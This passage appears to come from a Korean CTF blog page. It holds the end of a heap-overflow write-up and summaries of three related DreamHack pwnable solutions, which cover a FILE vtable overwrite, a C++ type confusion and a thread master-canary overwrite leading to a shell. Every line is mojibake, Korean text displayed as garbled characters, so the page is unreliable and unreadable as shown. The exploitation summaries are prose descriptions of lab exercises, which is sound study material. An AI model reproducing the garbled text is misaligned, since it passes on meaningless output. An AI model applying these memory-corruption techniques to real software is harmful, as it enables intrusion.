์ •๋ฆฌํ•˜๋ฉด, 32๋น„ํŠธยทNo PIE ํ™˜๊ฒฝ์—์„œ ์—ฐ์† malloc + ๊ฒฝ๊ณ„ ์—†๋Š” scanf + ์ธ์ ‘ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ๋ผ๋Š” ์„ธ ์กฐ๊ฑด์ด ๊ฒน์น˜๋ฉด, ์Šคํƒ์„ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ ๋„ ์…ธ๊นŒ์ง€ ๊ณง์žฅ ์ด์–ด์ง„๋‹ค. ํž™ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์˜ ๊ฐ€์žฅ ๋‹ด๋ฐฑํ•œ ํ˜•ํƒœ์˜€๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 2] stderr + 1 ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” 8๋ฐ”์ดํŠธ๋กœ ํ•จ์ˆ˜ ํ…Œ์ด๋ธ”์„ ๊ฐˆ์•„๋ผ์šด๋‹ค โ€” DreamHack iofile_vtable ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] stderr + 1 ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” 8๋ฐ”์ดํŠธ๋กœ ํ•จ์ˆ˜ ํ…Œ์ด๋ธ”์„ ๊ฐˆ์•„๋ผ์šด๋‹ค โ€” DreamHack iofile_vtable ํ’€์ด

๋ฉ”๋‰ด 4๋ฒˆ์ด read(0, stderr + 1, 8) ์„ ํ•œ๋‹ค. stderr ๋Š” FILE ํฌ์ธํ„ฐ๋ผ +1 ์€ 8๋ฐ”์ดํŠธ๊ฐ€ ์•„๋‹ˆ๋ผ ๊ตฌ์กฐ์ฒด ํ•˜๋‚˜๋งŒํผ, ์ฆ‰ 0xd8 ์„ ๊ฑด๋„ˆ๋›ด๋‹ค. ๊ทธ ์ž๋ฆฌ๊ฐ€ ํ•˜ํ•„ _IO_FILE_plus ์˜ vtable ํฌ์ธํ„ฐ๋‹ค. ์ „์—ญ ๋ฐฐ์—ด name ์— get_shell ์ฃผ์†Œ๋ฅผ ๋ฏธ๋ฆฌ ๋„ฃ์–ด ๋‘๊ณ  vtable ์„ name - 0x38 ๋กœ ๋Œ๋ฆฌ๋ฉด, fwrite ๊ฐ€ ๋ถ€๋ฅด๋Š” __xsputn ์นธ์ด ์ •ํ™•ํžˆ name ์— ๊ฒน์นœ๋‹ค.
#dreamhack#ctf#pwnable+5
2026-07-31#dreamhack +4
[๐Ÿฅ‰ Bronze 2] ๊ฐ™์€ 8๋ฐ”์ดํŠธ๋ฅผ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ๋„ ๋ฌธ์ž์—ด๋กœ๋„ ์ฝ๋Š”๋‹ค โ€” DreamHack cpp_type_confusion ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ๊ฐ™์€ 8๋ฐ”์ดํŠธ๋ฅผ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ๋„ ๋ฌธ์ž์—ด๋กœ๋„ ์ฝ๋Š”๋‹ค โ€” DreamHack cpp_type_confusion ํ’€์ด

Mango ๊ฐ์ฒด๋ฅผ Apple ๋กœ ๋‹ค์šด์บ์ŠคํŠธํ•˜๋Š” static_cast ํ•œ ์ค„์ด ์ „๋ถ€๋‹ค. ๋‘ ํด๋ž˜์Šค์˜ ๋ฉค๋ฒ„๊ฐ€ ๊ฐ™์€ ์˜คํ”„์…‹ +8 ์— ๋†“์—ฌ ์žˆ๋Š”๋ฐ ํ•œ์ชฝ์€ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ, ๋‹ค๋ฅธ ์ชฝ์€ char ๋ฐฐ์—ด์ด๋ผ strncpy ๋กœ 8๋ฐ”์ดํŠธ๋ฅผ ์“ฐ๋ฉด ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๊ฐ€ ํ†ต์งธ๋กœ ๋ฐ”๋€๋‹ค. PIE ๊ฐ€ ๊บผ์ ธ ์žˆ์–ด getshell ์ฃผ์†Œ๋Š” ๊ณ ์ •์ด๊ณ , strncpy ์˜ NUL ํŒจ๋”ฉ ๋•์— 3๋ฐ”์ดํŠธ๋งŒ ๋ณด๋‚ด๋„ ํฌ์ธํ„ฐ๊ฐ€ ์ •ํ™•ํžˆ ์™„์„ฑ๋œ๋‹ค.
#dreamhack#ctf#pwnable+6
2026-08-03#dreamhack +4
[๐Ÿฅˆ Silver 3] ์นด๋‚˜๋ฆฌ ์›๋ณธ์ด ๊ฐ™์€ ์Šค๋ ˆ๋“œ ์Šคํƒ ์•ˆ์— ์žˆ๋‹ค โ€” DreamHack Master Canary(mc_thread) ํ’€์ด
blog

[๐Ÿฅˆ Silver 3] ์นด๋‚˜๋ฆฌ ์›๋ณธ์ด ๊ฐ™์€ ์Šค๋ ˆ๋“œ ์Šคํƒ ์•ˆ์— ์žˆ๋‹ค โ€” DreamHack Master Canary(mc_thread) ํ’€์ด

์Šค๋ ˆ๋“œ ์•ˆ์—์„œ ์Šคํƒ ๋ฒ„ํผ๋ฅผ ์œ„๋กœ ๋ฌด์ œํ•œ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋Š” pwnable. ์นด๋‚˜๋ฆฌ๋ฅผ ์œ ์ถœํ•  ๋ฐฉ๋ฒ•์ด ์—†์–ด ๋ณด์ด์ง€๋งŒ, ์‚ฌ์‹ค ์œ ์ถœํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค. ๊ฒ€์‚ฌ์— ์“ฐ์ด๋Š” ์›๋ณธ(TLS์˜ fs:0x28)์ด ๋„˜์น˜๋Š” ๋ฒ„ํผ์™€ ๊ฐ™์€ ์Šค๋ ˆ๋“œ ์Šคํƒ ์•ˆ์— ์žˆ์–ด์„œ, ์Šคํƒ ๋ณต์‚ฌ๋ณธ๊ณผ ์›๋ณธ์„ ๊ฐ™์€ ๊ฐ’์œผ๋กœ ํ•จ๊ป˜ ๋ฎ์œผ๋ฉด ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•œ๋‹ค. ๋‹ค๋งŒ ๊ทธ ์‚ฌ์ด์— ๋†“์ธ TCB ํ•„๋“œ๋ฅผ ๊ทธ๋ƒฅ ๋ญ‰๊ฐœ๋ฉด ๋‹ค์Œ read()๊ฐ€ ์ฃฝ๋Š”๋‹ค.
#dreamhack#ctf#pwnable+6
2026-07-28#dreamhack +4